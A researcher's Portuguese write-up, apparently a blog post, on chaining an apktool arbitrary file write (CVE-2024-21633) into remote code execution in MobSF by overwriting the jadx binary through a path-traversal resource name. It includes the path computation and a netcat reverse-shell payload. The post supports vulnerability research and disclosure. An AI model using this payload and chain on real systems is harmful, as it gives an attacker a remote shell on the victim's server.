Execução remota de código no MobSF (via CVE-2024-21633)

Encontrei uma gravação arbitrária de arquivos no apktool e relatei através do aviso de segurança do GitHub. Eu sabia que muitos projetos dependiam do apktool, mas após a publicação do aviso e da correção, poucos pareciam ter notado ou se importado. Decidi verificar seu impacto e explorabilidade em alguns dos grandes dependentes e comecei com o MobSF.

A vulnerabilidade nos permite escrever qualquer coisa em um caminho relativo a "${decode target path}/res/". O maior impacto seria obter uma RCE. Mas há um detalhe: o arquivo escrito não é executável.

Antes de mergulhar, eu tinha estas duas ideias em mente:

• Poderíamos sobrescrever arquivos de inicialização do shell, como .bashrc/.zshrc etc., mas isso requer que o "decode target path" esteja na pasta do usuário para podermos almejar algo como "../../.bashrc", ou precisamos saber (ou fazer brute force) o nome do usuário para ter um alvo como "../../../../usuario/.bashrc". Uma vantagem aqui é que uma aplicação pode ter 0xFFFF (65536) nomes diferentes de recursos brutos, porque os IDs de recursos se parecem com 0x7F0B1234 (1 byte de identificador de pacote, geralmente 0x7F; 1 byte de identificador de tipo, por exemplo, raw, drawable; 2 bytes de identificador de recurso). No nosso caso, se assumirmos que o MobSF roda em Docker, já sabemos o nome do usuário: MobSF. No entanto, após sobrescrever o arquivo, temos que esperar que um shell seja iniciado, o que não é garantido.
• Criar um cronjob para executar um script malicioso exige que a aplicação tenha privilégios de root.

Mas e se tivermos a sorte de ter um aplicativo que altera as permissões de um arquivo para executável? E mais sorte ainda de ele ser executado depois? E tudo isso precisa acontecer após a execução do apktool. Essa é exatamente a situação com o MobSF. O MobSF usa jadx como parte de sua análise estática; ele chama o jadx via subprocess, mas antes disso altera a permissão do jadx para executável.

Trecho do log onde apktool, chmod e jadx são chamados respectivamente:

[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx 
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk

Vamos usar o jadx como alvo, mas precisamos do caminho relativo do jadx em relação à pasta res. Podemos obter isso usando a função os.path.relpath() em Python.

Nossa pasta base de recursos é "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"

Queremos sobrescrever o binário jadx no caminho: "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"

import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'

Nosso payload estará em res/raw/jadx

#!/bin/bash
nc host.docker.internal 9001 -e sh

O nome do recurso será "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx" Faça upload do APK e aguarde a execução do jadx; obteremos um shell no nosso listener nc. Bingo!

Então reportei isso à equipe do MobSF por e-mail, obtive uma resposta rápida e eles corrigiram atualizando para a versão mais recente do apktool, mas o comportamento de tornar o jadx executável e executá-lo em seguida ainda persiste. Eu preferiria que a permissão fosse definida antecipadamente e que o diretório não fosse gravável.

Siga para mais! @0x33c0unt